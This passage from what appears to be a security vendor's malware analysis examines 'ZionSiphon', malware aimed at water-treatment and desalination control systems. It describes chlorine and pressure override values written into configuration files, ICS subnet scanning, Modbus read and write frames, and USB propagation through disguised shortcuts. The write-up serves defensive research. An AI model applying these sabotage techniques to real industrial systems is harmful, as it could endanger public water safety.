If the malware determines that the system it is on is a valid target, its first action is local file tampering. “IncreaseChlorineLevel()” checks a hardcoded list of configuration files associated with desalination, reverse osmosis, chlorine control, and water treatment OT/Industrial Control Systems (ICS).  As soon as it finds any one of these file present, it appends a fixed block of text to it and returns immediately.

The block of text appended to relevant configuration files.
Figure 13: The block of text appended to relevant configuration files.

The appended block of text contains the following entries: “Chlorine_Dose=10”, “Chlorine_Pump=ON”, “Chlorine_Flow=MAX”, “Chlorine_Valve=OPEN”, and “RO_Pressure=80”. Only if none of the hardcoded files are found does the malware proceed to its network-based OT discovery logic.

OT discovery and protocol logic

This section of the code attempts to identify devices on the local subnet, assign each one a protocol label, and then attempt protocol-specific communication. While the overall structure is consistent across protocols, the implementation quality varies significantly.

Figure 14: The ICS scanning function.

The discovery routine, “UZJctUZJctUZJct()”, obtains the local IPv4 address, reduces it to a /24 prefix, and iterates across hosts 1 through 255. For each host, it probes ports 502 (Modbus), 20000 (DNP3), and 102 (S7comm), which the code labels as “Modbus”, “DNP3”, and “S7” respectively if a valid response is received on the relevant port.

The probing is performed in parallel. For every “ip:port” combination, the code creates a task and attempts a TCP connection. The “100 ms” value in the probe routine is a per-connection timeout on “WaitOne(100, ...)”, rather than a delay between hosts or protocols. In practice, this results in a burst of short-lived OT-focused connection attempts across the local subnet.

Protocol validation and device classification

When a connection succeeds, the malware does not stop at the open port. It records the endpoint as an “ICSDevice” with an IP address, port, and protocol label. It then performs a second-stage validation by writing a NULL byte to the remote stream and reading the response that comes back.

For Modbus, the malware checks whether the first byte of the reply is between 1 and 255, for DNP3, it checks whether the first two bytes are “05 64”, and for S7comm, it checks whether the first byte is “03”. These checks are not advanced parsers, but they do show that the author understood the protocols well enough to add lightweight confirmation before sending follow-on data.

 The Modbus read request along with unfinished code for additional protocols.
Figure 15: The Modbus read request along with unfinished code for additional protocols.  

The most developed OT-specific logic is the Modbus-oriented path. In the function “IncreaseChlorineLevel(string targetIP, int targetPort, string parameter)”, the malware connects to the target and sends “01 03 00 00 00 0A”. It then reads the response and parses register values in pairs. The code then uses some basic logic to select a register index: for “Chlorine_Dose”, it looks for values greater than 0 and less than 1000; for “Turbine_Speed”, it looks for values greater than 100.

The Modbus command observed in the sample (01 03 00 00 00 0A) is a Read Holding Registers request. The first byte (0x01) represents the unit identifier, which in traditional Modbus RTU specifies the addressed slave device; in Modbus TCP, however, this value is often ignored or used only for gateway routing because device addressing is handled at the IP/TCP layer.

The second byte (0x03) is the Modbus function code indicating a Read Holding Registers request. The following two bytes (0x00 0x00) specify the starting register address, indicating that the read begins at address zero. The final two bytes (0x00 0A) define the number of registers to read, in this case ten consecutive registers. Taken together, the command requests the contents of the first ten holding registers from the target device and represents a valid, commonly used Modbus operation.

If a plausible register is found, the malware builds a six-byte Modbus write using function code “6” (Write)” and sets the value to 100 for “Chlorine_Dose”, or 0 for any other parameter. If no plausible register is found, it falls back to using hardcoded write frames. In the main malware path, however, the code only calls this function with “Chlorine_Dose".

If none of the ten registers meets the expected criteria, the malware does not abandon the operation. Instead, it defaults to a set of hardcoded Modbus write frames that specify predetermined register addresses and values. This behavior suggests that the attacker had only partial knowledge of the target environment. The initial register-scanning logic appears to be an attempt at dynamic discovery, while the fallback logic ensures that a write operation is still attempted even if that discovery fails.

Incomplete DNP3 and S7comm Logic

The DNP3 and S7comm branches appear much less complete. In “GetCommand()”, the DNP3 path returns the fixed byte sequence “05 64 0A 0C 01 02”, while the S7comm path returns “03 00 00 13 0E 00”. Neither sequence resembles a fully formed command for the respective protocol.

In the case of the S7comm section, the five byte‑ sequence found in the malware sample (05 00 1C 22 1E) most closely matches the beginning of an S7comm parameter block, specifically the header of a “WriteVar (0x05)” request, which is the S7comm equivalent of a Modbus register write operation. In the S7comm protocol, the first byte of a parameter block identifies the function code,  but the remaining bytes in this case do not form a valid item definition. A vaild S7 WriteVar parameter requires at least one item and a full 11-byte variable-specification structure. By comparison this 5‑ byte array is far too short to be a complete or usable command.

The zero item count (0x00) and the trailing three bytes appear to be either uninitialized data or the beginning of an incomplete address field. Together, these details suggest that the attacker likely intended to implement S7 WriteVar functionality, like the Modbus function, but left this portion of the code unfinished.

The DNP3 branch of the malware also appears to be only partially implemented. The byte sequence returned by the DNP3 path (05 64 0A 0C 01 02) begins with the correct two‑byte DNP3 link‑layer sync header (0x05 0x64) and includes additional bytes that resemble the early portion of a link‑layer header. However, the sequence is far too short to constitute a valid DNP3 frame. It lacks the required destination and source address fields, the 16‑bit CRC blocks, and any application‑layer payload in which DNP3 function code would reside. As a result, this fragment does not represent a meaningful DNP3 command.

The incomplete S7 and DNP3 fragments suggest that these protocol branches were still in a developmental or experimental state when the malware was compiled. Both contain protocol‑accurate prefixes, indicating an intent to implement multi‑protocol OT capabilities, however for reasons unknow, these sections were not fully implemented or could not be completed prior to deployment.

USB Propagation

The malware also includes a removable-media propagation mechanism. The “sdfsdfsfsdfsdfqw()” function scans for drives, selects those identified as removable, and copies the hidden payload to each one as “svchost.exe” if it is not already present. The copied executable is marked with the “Hidden” and “System” attributes to reduce visibility.

The malware then calls “CreateUSBShortcut()”, which uses “WScript.Shell” to create .lnk files for each file in the removable drive root. Each shortcut’s TargetPath is set to the hidden malware copy, the icon is set to “shell32.dll, 4” (this is the windows genericfile icon), and the original file is hidden. Were a victim to click this “file,” they would unknowingly run the malware.

Figure 14:The creation of the shortcut on the USB device.

Key Insights

ZionSiphon represents a notable, though incomplete, attempt to build malware capable of malicious interaction with OT systems targeting water treatment and desalination environments.

While many of ZionSiphon’s individual capabilities align with patterns commonly found in commodity malware, the combination of politically motivated messaging, Israel‑specific IP targeting, and an explicit focus on desalination‑related processes distinguishes it from purely opportunistic threats. The inclusion of Modbus sabotage logic, filesystem tampering targeting chlorine and pressure control, and subnet‑wide ICS scanning demonstrates a clear intent to interact directly with industrial processes controllers and to cause significant damage and potential harm, rather than merely disrupt IT endpoints.

At the same time, numerous implementation flaws, most notably the dysfunctional country‑validation logic and the placeholder DNP3 and S7comm components, suggest that analyzed version is either a development build, a prematurely deployed sample, or intentionally defanged for testing purposes. Despite these limitations, the overall structure of the code likely indicates a threat actor experimenting with multi‑protocol OT manipulation, persistence within operational networks, and removable‑media propagation techniques reminiscent of earlier ICS‑targeting campaigns.

Even in its unfinished state, ZionSiphon underscores a growing trend in which threat actors are increasingly experimenting with OT‑oriented malware and applying it to the targeting of critical infrastructure. Continued monitoring, rapid anomaly detection, and cross‑visibility between IT and OT environments remain essential for identifying early‑stage threats like this before they evolve into operationally viable attacks.

Credit to Calum Hall (Cyber Analyst)
Edited by Ryan Traill (Content Manager)

References

1.        https://www.virustotal.com/gui/file/07c3bbe60d47240df7152f72beb98ea373d9600946860bad12f7bc617a5d6f5f/details

Continue reading
About the author
Calum Hall
Technical Content Researcher
Your data. Our AI.
Elevate your network security with Darktrace AI